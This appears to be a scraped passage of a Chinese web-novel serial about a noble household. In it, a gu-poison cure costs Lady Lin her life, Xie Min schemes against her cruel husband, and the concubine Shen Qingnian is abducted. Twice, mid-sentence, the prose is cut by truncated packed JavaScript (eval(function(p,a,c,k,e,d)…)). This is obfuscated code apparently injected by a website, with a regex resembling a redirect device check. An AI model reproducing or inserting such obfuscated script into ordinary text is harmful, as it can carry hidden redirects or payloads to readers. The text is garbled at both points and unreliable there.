不一会儿,林氏便察觉脖子那里的子虫朝着手臂处蠕动,只是每动一寸,那处皮肉就像要爆开一样,林氏几乎疼得冷汗直流,跌坐在椅子上。 苏姨娘看着林氏疼得面目抖已经有些狰狞,已经不敢睁眼去看。 这时,她忽然发现自己的手边有东西动了动。 她睁开眼一看,是谢松奕的手指在微微动着。 她再看向谢松奕的脸,却发现他脖子上鼓起了一个大包,似乎有东西正在那里挣扎。 兴许是有些痛苦,谢松奕的额上也泌出了汗,眉头紧紧皱了起来。 “二爷!”苏姨娘眼含担忧,紧紧抓住了谢松奕的手,想要给他一些安慰。 听到苏姨娘的喊声,林氏抬眼看了过去,她也看到谢松奕的表情有些痛苦。 她嘴角挤出了一丝笑容。奕郎有了反应是好事! “红韵姑娘?”谢宴之语气里带着些质问。 红韵靠在椅子上,有些虚弱道:“子虫察觉到母虫有些亢奋,它也有些躁动而已,没事的。” 听了这话,屋子里的人才放下心来。 林氏手臂里的母虫被黑虫的气息吸引,已经从林氏的手臂中探出头来,竟比方才那黑虫还大上一倍! 它看了一眼瓶子,身子忽然摇晃起来,看似有些兴奋,最后没有一丝犹豫地钻进了瓶中,红穗赶紧盖上了瓶塞。 过了一瞬,红穗手中的瓷瓶便剧烈的晃动起来,里面似乎在进行激烈的打斗。 “红穗,按紧塞子,千万…千万不要让它逃出来!”红韵虚弱的声音传来。 谢宴之见状,让元青去帮红穗按住那瓷瓶。 “它?”谢宴之有些不明白两条虫在里面,怎么现在只用一个它字。 红韵解释道:“这两条虫子本就是天敌,吃了对方,可以使自己长大一倍。” “刚刚那母虫见那黑虫长得不如自己,便迫不及待要去吃掉它。” “可是那黑虫吃了药粉,体内会生成剧毒。若它再被母虫吞噬,那母虫便会毒发身亡的。” 此时,瓶内已经没了动静,红穗拿着瓷瓶,快步朝谢松奕的方向走去。 苏姨将见红穗正快步朝床边走来,便赶紧起身让开。 红穗一把将瓷瓶里那些黑乎乎的黏液倒进了谢松奕嘴里。 巨大的恶臭味传来,屋子里的人都忍不住作呕。 谢松奕服下后没一会儿,竟闭着眼,撑起身子呕吐起来。 “二爷!”见谢松奕这般举动,苏姨娘喜极而泣,快步坐到床边。 只是还没来得及碰到谢松奕,就见他又倒在了床上,没了任何动静。 苏姨娘拉住谢松奕的手,啜泣道:“二爷!二爷!” 谢宴之看着谢松奕吐了一口血后,又倒了下去,心里却没什么波澜。 因为谢松奕刚刚吐出来的那摊黑血里,有一条小虫,跟母虫一样,只是要小上许多。 红韵见了指着那血道:“子虫出来了。” 直到这时,她惨白的脸上,才露出了一丝笑容。 那子虫起初只有指甲盖大小,如今已长大一截手指的长度,若不是来得及时,谢二爷熬不过今晚了。 林氏刚也看到谢松奕起身的那一幕,她眼里的泪珠不断往外滚落。 她也说不清是因为疼还是心酸还是喜悦。 总之,能再看见谢松奕起身,她也没有遗憾了。 “多谢姑娘!”谢宴之朝着红韵拱手一礼。 红韵挣扎起身,红穗赶紧过来扶着她:“世子,我与红穗能走了吗?” “天还未亮,姑娘夜间赶路恐有危险,不若天亮才离开。”刚刚红韵忍痛替谢松奕解了蛊,谢宴之心中动容。 想天亮才派人护送她们二人离开。 红韵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夕阳西下,只留下哒哒的马蹄声,伴着车轮扬起的尘埃…… 第一百七十四章 难道沈清念又逃了 在红韵她们走了以后,林氏撑着身子来到谢松奕面前,弯下腰看了看那张苍白的脸。 随后林氏又面上含笑,伸手在他的脸上摸了摸,脑海中也忆起了他们两个初夜那日。 她也是这般,趁着他熟睡,摸着他的脸,心里的甜意让她的脸止不住的泛红。 可是当他睁开眼,却狠狠甩开她的手,脸上满是愤怒,而后抱着衣裳决然而去。 没有一丝欢喜,没有一丝关心,只剩下她一人在锦被里哭了许久…… 想到这儿,林氏的眼泪又一次滴了下来。 她收回了手,踉踉跄跄起身,险些栽倒地上。 苏姨娘见状,伸出双手想要扶住她。 “不要你假好心!” 林氏抬手,拒绝了苏姨娘的好意。 “是我先遇到他的!”林氏颤抖着又说了一句。 看到林氏眼里的悲怆,苏姨娘低下了头。 她是横在了他们夫妻之间! 那个雪夜,当她得知这些日来与她朝夕相对的人家中已有妻室,她在屋子里想了许久。 她不愿抢走别的女子丈夫的人,便狠心赶走了谢松奕。 谢松奕知道了她的心意后,没有说什么,只是在她的屋子外,生生站了一宿。 高热时,谢松奕嘴里喃喃叫着她的名字,抓着她的手不放。 后来,谢松奕亲自将她送到了渡口,隔江相望,苏姨娘强忍着泪,挥手与他告别。 谢松奕竟一头扎进了河里,在她惊慌不已之时,谢松奕又浑身湿透出现在她面前。 “婉云,不要留下我一个人!” 后来,谢松奕又说了他与林氏的往事。 苏姨娘这才惊觉,一个如此人物,也有这样无奈与可怜的时候。 她想到这儿,又重新抬头看向林氏,眼里没有了愧疚。 “二夫人,感情这种事,从来就没有先来后到!” “我知你心中怨我,可我不后悔。” 苏姨娘顿了顿又道:“不知二夫人心中可曾有过悔意?” 悔意? 林氏听了这话怔了怔。 她心中有过悔意吗? 她得到了这个男人,还与他生了女儿。 原本能留在他身边,她也满足了,是她贪图太多,才将他害成这幅样子。 此刻,林氏觉着喉头有些苦涩,说不上是一种什么感觉。 或许就是她说的悔意吧。 她欲往门外走去,谢宴之看了看她手臂那骇人的伤口,对着元青道:“元青,去为二夫人寻个大夫来。” 林氏闻言,转身朝谢宴之福了福身,语气平静道:“不必了。”说完,便回了自己的屋子。 进了屋子,林氏浑浑噩噩坐到了梳妆台前。 她望着镜中的自己,发觉镜中人早已不似当年那般娇俏。 而奕郎,也不再似当年那般意气风发,狂放不羁了。 这样想着,林氏轻轻拿起妆奁里的那支白梅簪子,仔细看了一会儿。 脑中又浮现谢松奕的笑脸。 林氏擦了擦眼中的泪,将簪子簪在了自己的发间,又对着铜镜瞧了瞧。 忽然她觉得胸口一阵疼痛,而后一口血喷在了铜镜上。 可林氏却没有一丝慌张,这反应本就在她的意料中。 前日红穗告诉她,这蛊十分阴毒。 若要解了这蛊,种下母虫之人便会遭到反噬,活不了。 林氏有一瞬怔住了,可转而她又看着红穗。 红穗看出了她的决绝,流着泪问她:“值得吗?” 林氏红着眼眶笑道:“都是我自作自受罢了。” 若有来生,她不愿再与奕郎遇见。 想到这儿,林氏想掏出帕子将嘴角的血迹擦掉。 她怕奕郎醒来看到她这副样子,更生厌恶,不愿出手帮他们的女儿了。 只是帕子还未碰到嘴角,就从林氏手中掉落,飘飘然落到了地上。 谢宴之欲回观澜居时,谢松奕又突然发起高热,口里也吐着黑血。 谢宴之忙让元青请来了周大夫,这一整夜,二房的丫鬟婆子端着铜盆进进出出,一直忙到天亮。 直到清晨,谢松奕退了热,谢宴之才离了二房的院子。 他走到玉恒居院门前,看了天色,此刻还有些许星点,他又收回了脚。 此刻天色尚早,自己又带着些清晨的寒气,害怕吵到那个娇气的人,就径直去了观澜居的书房。 元青见谢宴之眼里都是血丝,上前道:“爷,您一夜未睡,要不先歇会儿吧?” 谢宴之微微颔首,就在书房的榻上和衣而眠。 到天大亮之时,陆元璋从睡梦中醒来,满意地看着身边背对着他躺着的女子。 回忆着昨夜,他还有些意犹未尽。 没想到沈清念平日里看起来是贞洁烈女,这到了床上伺候起人来,倒是令人回味无穷。 他伸手抚摸着那半露在锦被外的肩,白皙滑腻,他又有些躁动起来。 干脆一把扯掉了被子,翻身将人翻过来压在了身下。 只是看清那人的样貌时,陆元璋吓得立刻从床上弹起来! “你是何人!”陆元璋指着床上的女子,脸上满是恼怒。 “奴家是香怡院的绿芜。”床上的女子娇媚一笑,又扯了扯被子盖住自己。 陆元璋闻言,一股怒气涌上心头!谢敏这个**,居然找了个妓子给他! “滚!”陆元璋抱着衣裳,气冲冲地往谢敏的房里走去。 到了门前,陆元璋一脚踹开了谢敏的房门,身边的婢女秋桐吓了一跳:“姑爷。” 谢敏穿着里衣,正坐在梳妆台前,用一柄绿檀梳子一下一下梳着自己的秀发。 她昨夜到过那偏院,听到屋子里传来陆元璋满意的声音,谢敏才心满意足地离开。 所以,她早已知道那箱子里的人根本不是沈清念。 见陆元璋怒气冲冲地进来,她也没觉着意外。 但她还是面露慌张,忙放下梳子,欲朝陆元璋走过去。 陆元璋却已经先一步来到了她的面前,一把掐住了她的脖子,将人从软凳上提了起来。 “**!” 谢敏看着陆元璋气急败坏的脸,心里暗自欢喜,面上却假意唯唯诺诺道:“二爷!怎么了?” 陆元璋一耳光甩在谢敏脸上:“让你给我安排的是沈清念!你倒好,给我找来一个肮脏的妓子!” 陆元璋根本没有收敛力道,这一耳光打得谢敏嘴角渗出血丝来。 谢敏皱着眉,眼里满是惊恐道:“妾不是不知二爷想要的人是沈清念,只是我找遍了府里,也没找到沈清念!” “又见吉时已到,不好耽误,才出此下策,让人去香怡院请了头牌过来伺候二爷。” “而且老鸨可跟我说,绿芜姑娘是清倌人。妾想着,总好过沈清念那个残花败柳!” 陆元璋气得更是用力掐住谢敏的脖子。 这么点事都办不到! 秋桐见状,忙跪到陆元璋的脚边,眼里含泪道:“姑爷!您快放开小姐啊,她肚子里有孩子了呀!” 陆元璋这才脸色不悦地松开了手。 谢敏得了自由,坐在地上咳嗽起来。她就知道,陆元璋看在孩子的份儿上,不敢真的伤她。 这一把,她赌对了。 陆元璋将她和她的父亲害得那样惨,她怎么会让他如愿。 不仅如此,她还要送他一份大礼。 她又故作委屈道:“妾属实是没用,没找到那沈清念,又想着自己的身子不便伺候爷,这才……”她又补了一句:“难道是那绿芜伺候得不周?” 陆元璋想起昨夜的滋味,那女子倒是伺候得不错!不过,这谢敏实在是太愚蠢! 被人骗了都不知。 “蠢货!那个叫绿芜的一看就不是个淸倌儿!” 能让他昨夜连叫四次水,那手段,那娇滴滴的勾人模样,怕是有过成百上千的恩客! 他陆元璋何时沦落到要找这样肮脏的东西来纾解! 他又指着谢敏的鼻子道:“你的肚子最好争气些,给我生个儿子,否则,你和你的孽种就给我**!” 说完,陆元璋负手离去。 他还要让人去处理了那个叫绿芜的!不然全京城明日都会知道他陆元璋大婚之日与青楼妓子欢好。到时,难免造**劾! 秋桐赶紧过去扶住谢敏,眼里满是心疼:“小姐。” “这姑爷实在太凶,也不顾及您肚子里的小主子。” 谢敏擦了擦嘴角,朝地上碎了一口,眼 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谁知那**身上养着那奇怪的蛊虫,又一直不肯让他近身,他只好先将她关起来。 那时,他还是京城里风风光光的陆二爷。 凭借手段,险些就能将百年世家之一的谢家赶出京城,为他们广德侯府赢得一席之地。 却不知从哪杀出个谢二爷,勇猛俊朗,又极具才华,短短数月,便让濒死的谢家重新获得皇上的器重。 自那以后,二人每次都被旁人拿来做对比,他都是输的那个。 后来他便和老侯爷想着怎样能不知不觉地除掉谢松奕。 于是他便哄骗红韵,只要她肯给给谢松奕下蛊,让他生不如死,他便放她离开。 只是待事成之后,他却将红韵关了起来,还派了人去追杀那个叫红穗的丫头,可惜最后让那丫头逃了。 后来,红韵日渐形容枯槁,让他越发觉得那蛊邪乎,就不再进到红韵的院子。 他也不是没想过杀掉红韵,只是红韵一死,谢松奕和林氏也会死,这样必然会惊动旁人。 所以这些年他便一直吊着红韵的命,见她逐渐虚弱,就只让一名守卫看护在她院中,让她自生自灭。 可如今,她却让人救走了! 陆元璋心中闪过一个不好的念头,恐怕是有人已经发现了谢松奕得病的秘密。 那会是谁呢? 陆元璋负手来回走了几步后,觉得全京城只有一人会探查红韵的消息。 那人就是谢宴之! 陆元璋一时皱眉,看来麻烦就要上门了。 不过他与谢敏成了婚,料想谢宴之动他之前也得掂量几分。 反正红韵也是将死之人,捉了红韵去也无济于事,反正那谢松奕也活不成了。 这样想着,陆元璋大手一挥:“下去吧。” 守卫一愣,二爷的意思是不再追查红韵姨娘的事了?那就是说二爷也不会追究他的失职了。 他心里一阵庆幸,赶紧答道:“是。”随后便退了下去。 玉竹此刻也在观澜居外面走来走去,脸上看着十分慌张。 犹豫了一会儿,她还是直接走了进去,敲了敲谢宴之书房的门:“大公子!大公子!” 元青闻声,赶紧走过来制止。 爷昨晚一夜未睡,他不想爷被人打扰。 “你怎么回事?”元青看着玉竹敲门的样子。 玉竹委委屈屈道:“元青大哥,姨娘和红玉姐姐一夜未归,我才来找大公子的!” 元青闻言,瞳孔睁大:“你说什么!你怎么不早来报!” 玉竹被元青的样子吓到,小声道:“昨日姨娘与红玉姐姐到了苏姨娘的院子,我便以为姨娘和红玉姐姐一直在那儿。” “可我今早去了二房的院子,根本没有姨娘和红玉姐姐的影子,我这才急了,赶紧回来找大公子。” 正说着话,书房的门被人开了:“你说谁不见了?”谢宴之皱眉站在门口。 玉竹看着谢宴之冷峻的脸,低着头道:“是姨娘和红玉姐姐!” 谢宴之闻言,眼神里闪过一丝寒芒。 难道沈清念又逃了? 第一百七十五章 二夫人没了 二房院中。 一个穿着青布襦裙的丫鬟捧着铜盆,轻手轻脚地来到林氏的房门前,伸手轻轻敲了敲林氏的房门。 可屋子里却迟迟没有回应。 那丫鬟心里觉得有些奇怪,往日这个时辰,二夫人已经起来梳洗了,今日屋子里怎么没有动静? 她又唤了声,屋子里依旧无人应答。她咬了咬下唇,一手端着铜盆,一手将门推开一条缝儿。 只见林氏趴在梳妆台前,再仔细一看,那铜镜上斑驳的血迹早已干涸。 那丫鬟声音发颤地叫了一声:“二夫人?” 林氏依然不动。 她将盆放在桌上后,小心翼翼地走到林氏面前,颤抖着伸出手凑到林氏的鼻尖儿处,却发现林氏早已没有气息。 “啊——!”那丫鬟尖叫出声,往后退了两步往后栽去,手将桌上的铜盆碰到了地上。 她连滚带爬地往外跑,嘴里反复喊着:“二夫人没了!二夫人没了!” 一时间,林氏离世的消息传遍了靖南侯府上下。 苏姨娘此刻正坐在床边,伸手摸了摸床上谢松奕温热的额头。 听到外面传来的嘈杂声,苏姨娘打开房门,朝门口的婆子问道:“怎么回事?为何这般吵闹?” 那婆子低头道:“听说是二夫人没了。” 她手里的帕子“啪嗒”掉在地上,整个人僵在门边。 她走的时候,一定觉着孤单吧。 唯一的女儿昨日刚刚出嫁,自己的夫君又躺在床上不醒人世。 她恨了自己一辈子,争了一辈子,到头来还不是暗淡收场。 苏姨娘眼眶泛红,林氏的死,多少让她心里有些难受。 她又望着谢松奕沉睡的脸,心里之盼着他能早些醒过来。 而观澜居这边,谢宴之冷着脸站在书案边,手按着桌沿问道:“府里上上下下都找过了?” 元青听到谢宴之声音里的冷意,知晓他是生气了。 他立即单膝跪地,埋着头道:“属下这就派人去找。” 玉竹现在才来禀报,他确实还没来得及派人去找。 元青没听见答复,他抬起头,见谢宴之脸色铁青。 他立刻退了出去,赶紧带着侍卫寻找起来。 不多一会儿,红玉就被元青带着回来了。 谢宴之看着红玉发髻散乱,裙摆上沾着草屑,很是狼狈,那样子一看就是激烈反抗过的。 看来,沈清念不是主动跑走的。 红玉一见到谢宴之,立刻跪在了地上道:“大公子快救救姨娘!” 说着,眼泪就像断了线的珠子往下掉。 谢宴之手紧紧攥着椅子扶手,指节泛白道:“说,到底怎么回事!清姨娘呢?” 红玉哽咽着,声音断断续续:“昨、昨日,奴婢与姨娘本一起在二爷屋中待着。” “忽然来了两个丫鬟,说是老夫人要重罚菱儿姐姐,姨娘就带着我,打算去找老夫人求情。” “没曾想姨娘与我走到一拐角处,就被人拿着带了**的帕子捂住了口鼻。” 红玉说着,头低得更低。 谢宴之立刻道:“那你可曾看见将你们迷晕的是什么人?” 红玉连忙点头:“在奴婢晕过去前,模糊中见就是那两个丫鬟中的一个,把姨娘抱起来,塞进了一口木箱子里。” “后来奴婢醒过来,就发现自己被捆着,丢在了一处偏院。再后来,元青大哥就带人找到了我。” “箱子?”谢谢宴之一把拍在桌上! 有人用箱子把她带出府了! 能在靖南侯府来去自如,还敢在大婚当日动手,到底是谁有这么大的胆子? 他揉了揉眉心,脑海中忽然闪过一个人影。 谢敏! 就在这时,一个小厮慌慌张张地跑进来,脸色惨白:“大公子!不好了!二夫人……二夫人去了! “什么?”元青猛地抬头,脸上满是难以置信。 二夫人昨夜不过是手臂上的伤口深了些,也不至于要了她的性命啊。 他正疑惑着,就听到谢宴之问道:“怎么回事?” “周大夫刚看过,说二夫人身子内里早就坏透了,昨夜又受了那样的伤,才没熬过去……” 那样的伤? 谢宴之的瞳孔骤然收缩,看来是母虫离了林氏的身子,林氏才活不成了。 看来,林氏对二叔确实是情深一片。 只可惜用错了手段,害了二叔,也害了自己。 他定了定神,对元青吩咐道:“备马,去广德侯府。” 此时的广德侯府里,谢敏正坐在桌边用早膳。 她用银勺轻轻搅着燕窝粥朝旁边的丫鬟问道:“秋桐呢?去吩咐了门房备车,怎么还未回来?” 那丫鬟摇摇头,正欲说话,秋桐就掀帘进来,眼神里有些闪躲道:“小姐,大公子来了。” “谢宴之?他来做什么?”谢敏握着银勺的手一顿,眼里闪过一丝慌乱。 他定是发现沈清念失踪,怀疑到她身上了。 不过她转念一想,如今她是广德侯府的二夫人,早已不是靖南侯府里任他拿捏的三小姐了。 她不信谢宴之敢在广德侯府对她做什么! 她话音刚落,谢宴之就掀帘而入:““我为何不能来?” 闻言,谢敏放下银勺,拿起帕子擦了擦嘴角,语气慵懒:“不知大公子今日登门,有何贵干?” 谢宴之站在她对面,目光直直地落在她身上,脸色沉得吓人:“你把沈清念弄到哪里去了?” 听了谢宴之的话,谢敏紧紧捏了一下帕子,尽量让自己保持镇定。 她靠在椅背上,眼神轻蔑:“大公子这话是什么意思?” “你自己的姨娘丢了,来找我做什么?” “我再问一遍,她到底在哪儿?” 谢宴之向前一步,气场压得谢敏有些喘不过气。 “她被你用一口嫁妆箱子装走,混在婚嫁队伍里运出了靖南侯府,你以为我查不到?”谢宴之居高临下睥睨着谢敏。 “我已经让人在侯府掘地三尺,都没找到她的踪迹。除了你,还有谁能在大婚当日,用嫁妆箱子把人带出府!” 谢敏心里一紧,面上却依旧强硬,她冷笑:“是箱子装的,就是我做的了?大公子可真是会定罪。” 她料定谢宴之只有猜测,没有实证。 那两个会功夫的丫鬟是李慧妍帮她找的,事后早已离开了京城,谢宴之就算想查,也查不到什么头绪。 谢宴之见状,指着秋桐道:“不如听听你的贴身丫鬟怎么说。” 闻言,谢敏慌张地转过头,看向秋桐。 秋桐泪眼朦胧,忙跪在地上道:“三小姐,对不起!” 方才大公子刚进府,就以她家人的性命威胁,让她说出事情的始末。 “你出卖我?你这个贱婢!”谢敏朝着秋桐骂道。 见谢敏这个反应,谢宴之心里已然有了答案。 看来那丫头没有说谎,沈清念真是让李慧妍找的丫头抓走了。 他就知道,普通的丫鬟哪能轻易抱起沈清念,那两个丫鬟是练过一些功夫的。 他忽然觉得沈清念的处境不容乐观,便转身准备离开:“元青,去李将军府。” 走到门口时,谢宴之顿了顿脚步,声音冰冷得没有一丝温度,“忘了告诉你,你母亲昨夜没了。” “什么!”谢敏像是被雷劈中,猛地站起来。 她不敢置信地看着谢宴之,眼泪瞬间涌了上来,“我母亲没了?她好端端的怎么会没了?” 她从软凳上站了起来,不顾秋桐的阻拦,冲上前一把扯住谢宴之的袖子质问道:“是不是你,是不是你逼**我母亲!” “就为了一个沈清念?” 谢宴之甩开了谢敏的手:“休得胡言!”说完,谢宴之便抬脚,大步走了出去。 他已经一天一夜没有见到沈清念了,不知她遭遇了什么,他心里只想快些去将人找回来。 待谢宴之走后,谢敏猛地起身,抬手将桌上的茶壶、茶杯全都拂到了地上。 咬牙切齿地喊:“事是我做的,凭什么害我母亲!” 说着,谢敏的眼泪又流了下来。 是她害了母亲,如果不是她执意要对付沈清念,母亲也不会被谢宴之逼死。 她无法原谅自己,更不会原谅谢宴之! 秋桐见谢敏这副样子,哽咽道:“小姐,我们回靖南侯府吧,您还得去送二夫人最后一程。” 谢敏瞪了她一眼骂道:“吃里扒外的东西!养条狗都比你忠心!” 秋桐跪在地上委屈又愧疚,流着泪道:“ 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她此时仍是不敢相信母亲已经去了,分明昨日她还哭着给她送嫁。 她也告诉了母亲她的复仇计划,母亲见阻止不了她,只能泪眼婆娑地让她万事小心。 她那么放心不下她,怎么就舍得离她而去了呢? 等谢敏到了靖南侯府门前,却见府门外的大红灯笼和喜字全都不见,取而代之的,是一片缟素。 她一下车,就有丫鬟为她戴上白花,穿上孝衣。 在由秋桐扶着,走过了一道有一道的门后,她终于到了林氏的灵堂。 只见门楣上挂着白色的丧幔,两侧的柱子上缠满了白布,两边站着的丫鬟婆子都穿着素衣,戴着白花。 谢敏的眼前又是模糊一片,她踉踉跄跄来到棺材旁,见林氏躺在里面。 头上戴着她最爱的白簪,面容安详,好像她并没有死,只是累了睡着了一般。 谢敏伏在棺材边泣不成声,对着林氏喊了一声:“母亲!你快起来看看我啊!” 哭声撕心裂肺,在场的丫鬟婆子都红了眼眶。 这时,老夫人拄着拐杖走了进来,她穿着一身素衣,头发用白帕包着,脸上满是疲惫。 昨日得知谢松奕的病是林氏一手造成时,她还气得发抖。 想着等林氏病好以后,定要好好责罚她,可没成想,人就这么没了。 老夫人拿起一旁的香,点燃后看了眼林氏的牌位,将香**了面前的炉子里。 她看了一眼哭得肝肠寸断的谢敏,眼里满是怜惜。 这孩子可怜!昨日刚成婚,今日就没了母亲。 让她好好哭一场,兴许对她还好些。 她终究没说什么,只是叹了口气,转身由孙麽麽扶着回了问心堂。 谢敏最后哭得晕厥了。 秋桐和另外一个丫头慌忙将人背回了二房的院子。 苏姨娘听说谢敏晕厥,想着她毕竟是二爷的孩子,现在又没了娘,便到房里来看谢敏。 她端着碗糖水坐在谢敏的床前,让秋桐从后面扶着谢敏,她再一勺一勺往谢敏的嘴里喂。 见她嘴角流下些糖水,她又掏出帕子,仔细替她擦了擦嘴角。 谢敏忽然咳嗽起来,那样子似乎是被水呛着了。 待她模模糊糊睁开眼,却发现似乎是自己的母亲正在给自己喂糖水。 她的眼泪又夺眶而出,一把抱住了面前的人,委屈道:“母亲!” “我就知道你没死,他们都在骗我。” 谢敏感受着“母亲”身上的温热,在那怀里蹭了蹭道:“母亲才舍不得离开敏儿。” 一旁的秋桐看着谢敏抱住苏姨娘那不舍的样子,也没有出声提醒。 她不忍心将小姐唤醒,让她面对那残酷的事实。 苏姨娘见谢敏将自己当成了林氏,便将手中的碗递给了身后的秋桐。 又轻轻抚摸着谢敏的发,拍了拍她的背,希望这样做能让谢敏心中好受些。 感受到“母亲”的安慰,谢敏猛地抬起了头,她好后悔之前没有好好看看自己的母亲。 现在她失而复得,只想多看上两眼…… 第一百七十六章 爱妾被人抓走了 谢敏缓缓抬起头,满心盼着能望见母亲林氏温柔慈爱的面容。 可她一眼看去,只见苏姨娘面上带着笑,正如慈母一般看着自己。 “怎么是你!” 谢敏吓得一把推开了她,声音里满是惊怒与嫌恶。 她胸口剧烈起伏,方才依偎在苏姨娘怀里撒娇的感觉,让她如鲠在喉。 “秋桐!”谢敏猛地转头,朝着侍立在侧的丫鬟厉声喝道,“快把这个**赶出去!” 她想不明白自己怎么会被那样一个人像只小狗一样抱在怀里! 这十来年,她一直没有给过苏姨娘好脸色。 她能在人前少说她几句,对苏姨娘来讲都是一种宽容。 秋桐见状,低着头,有些犹豫。 她既不敢违逆小姐的话,又知晓如今二夫人没了,苏姨娘是这二房唯一的女主子。 苏姨娘看出秋桐的为难,不等秋桐动作,便主动站起身来。 她望着满脸怒容的谢敏,语气谦和依旧:“是妾逾越了,惊扰了三小姐。您刚醒不久,千万要保重身子。” 停顿片刻,苏姨娘似是想起什么,又补充道:“对了,二爷的病根儿已经除了。” 她轻声说着,眼底藏着一丝暖意。 她想让谢敏知道,即便没了母亲林氏,她还有二爷这般疼爱她的亲人。 “什么?”谢敏原本正气恼地坐在帐中,连眼皮都不愿抬一下,可听到这话,猛地抬头看向苏姨娘,眼中满是难以置信。 苏姨娘迎着她的目光,缓缓点头,声音压得更低:“是二夫人替二爷除了病根。” 二夫人?母亲?谢敏的心猛地一沉。 一个可怕的念头在脑海中浮现:难道母亲就是因为替父亲治病,才丢了性命吗? 苏姨娘见状,不再多言,轻轻福了福身,转身缓步走了出去。 帐内瞬间安静下来,谢敏却猛地转头,目光锐利地盯着秋桐,厉声道:“你方才为何不拦着我!” 方才她抱着苏姨娘叫“母亲”的模样,定然被这丫头看得一清二楚,可秋桐竟没有半句阻拦! “你是故意想看我丢人现眼,是不是?” 秋桐吓得扑通一声跪在地上,声音带着哭腔:“奴婢不敢!奴婢只是见您方才闭着眼,脸上满是欢喜,才没敢出声惊扰您啊!” 谢敏听秋桐这样说,眼眶泛起了红。 她抬手抹了抹眼角,心里满是自嘲。 自己现在这副失魂落魄的样子,在旁人眼里,当真就这么可怜吗? “起来吧。”谢敏声音低了些,语气中带着一丝疲惫。 她此刻没心思追究一个丫鬟的过错,她现在只想知道母亲到底是怎么忽然就没了的。 她的死是不是跟父亲的病有关。 怀着满心的急切与忐忑,谢敏快步来到林氏的院落。 往日里熟悉的屋子,此刻却透着一股冷清。 床铺与佛龛看起来都是整整齐齐的,看起来不曾被人触碰过。 那面曾染了血的铜镜,已被下人擦拭干净。 下人说,母亲就是在这梳妆台前离世的。 谢敏缓缓走到梳妆台前坐下,指尖轻轻拂过冰凉的镜沿,脑海中不断浮现母亲坐在这儿梳妆的场景。 小时候,母亲总爱对着镜子梳理长发,偶尔还会笑着问她:“敏儿,你看母亲这支玉簪好看吗?” 想到这儿,谢敏深吸一口气,伸手拉开梳妆台的抽屉,从里面取出一个熟悉的木匣子。 从前她总爱缠着母亲要好看的首饰,母亲每次都会笑着把她喜欢的首饰放进这个匣子里,还打趣道:“等敏儿长大了,这些就都给你当嫁妆。” 木匣子拿在手里轻飘飘的,谢敏的心一下提到了嗓子眼儿。 她微微颤抖着打开匣子。 当看到匣底静静躺着的那封信时,她悬着的心终于落了下来,眼眶瞬间湿润。 她就知道,母亲这般疼爱她,绝不会连只言片语都不曾给她留下。 谢敏颤抖着展开信纸,一行行熟悉的字迹映入眼帘。 信中,母亲细细讲述了她与父亲初遇时的美好,也坦诚父亲中蛊一事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她对着李将军与谢宴之屈膝福礼,声音温婉:“父亲,谢世子。” 李将军立刻招手让她走到身边,目光带着审视:“妍儿,世子说你带走了他的爱妾,可有此事?” 李慧妍闻言,脸上露出一丝震惊,她转头看向谢宴之,语气带着几分委屈与不解:“世子何出此言?” “靖南侯府守卫森严,我何时能自由出入了?又怎能带走您的爱妾?” “还请世子莫要血口喷人,坏了我的名声!” 谢宴之冷冷地看了她一眼,那眼神锐利如刀。 李慧妍被他那一眼看得有些莫名的心虚,放在身侧的手悄悄攥紧了裙摆。 李将军见女儿说得情真意切,立刻转头对着谢宴之沉声道:“世子可听见了?妍儿绝无这般本事,这其中定是有什么误会!” 谢宴之没有理会李将军,只是朝着门外拍了拍手。很快,红玉走了进来。 一进来,红玉就认出李慧妍身后那两个丫鬟正是那日带走沈清念的人。 此刻,红玉指着那两个丫鬟,声音带着些急切与愤怒:“就是她们!是她们迷晕了我家姨娘和我,将姨娘带走的!” 李将军闻言,脸色骤变。 这两个丫鬟是他亲自挑选送给李慧妍的,本是用来贴身保护她的,怎会做出这等事? “父亲,您别听她们胡说!”李慧妍慌忙辩解,“她们一直待在我身边,从未离开过府上。 又怎么可能跑到靖南侯府去,将世子的爱妾抓走?” 红玉见李慧妍不承认,急得红了眼眶,指着其中一个丫鬟质问道:“明明就是你将姨娘装进了箱子,你把姨娘弄到哪里去了?” 那丫鬟横着眉道:“你这丫鬟怎么平白冤枉人呢?” 李慧妍此刻看着谢宴之,看他还能拿她怎么样! 谢宴之见状,从腰间掏出一张信纸。 李慧妍看到那信纸,脸色瞬间变得惨白。 她给谢敏的信,怎么到了谢宴之的手上! 那日谢敏派人给她送书信,让她拨两个有身手的丫鬟,趁乱将沈清念带走处置了。 她当即就派了这两个丫鬟,跟着谢敏的人进了靖南侯府。 后来,她又给谢敏回信,让她将人交给她处置。 这两个丫头才将沈清念装进箱子,混在谢敏的送亲队伍里出了府,最后趁人不备,偷偷将箱子抬上了她早已准备好的马车。 而她在信的后面,叮嘱谢敏看后要烧掉的。 这个谢敏,居然留了个心眼! 谢宴之继续说道:“舍妹谢敏,已经将一切都告诉我了。李小娘子,还需要我再多说吗?” 这信就是他从秋桐那里得来的,谢敏觉得信放在她身上不安全,怕被陆元璋发现。 这才交由秋桐保管着,以防将来事发,李慧妍矢口否认。 他去广德侯府的时候,秋桐为证明自己所说的都是实话,便将这信交给了他。 听到谢宴之说谢敏已经将事情告诉他了,李慧妍踉跄了一下,身边的丫鬟扶了她一把,她才站稳了。 “妍儿,这到底是不是真的?” 李将军看着女儿惨白的脸色,声音里满是失望与愤怒。 他万万没想到,自己一向引以为傲的女儿,竟真的做了这等蠢事。 “快说!你把世子的爱妾藏在哪儿了?赶紧交出来!”李将军的语气带着不容置疑的威严。 李慧妍咬了咬唇,看着谢宴之焦急的模样,心里竟生出一丝报复的快意:“她已经不在京城了,世子若是想救她,可得抓紧时间了。” “你究竟将她弄到了何处?”谢宴之的手握成了拳,抑制住想要掐住李慧妍的冲动。 李慧妍面上平静道:“我只是让车夫想办法送她去扬州最热闹的妓院。她……” 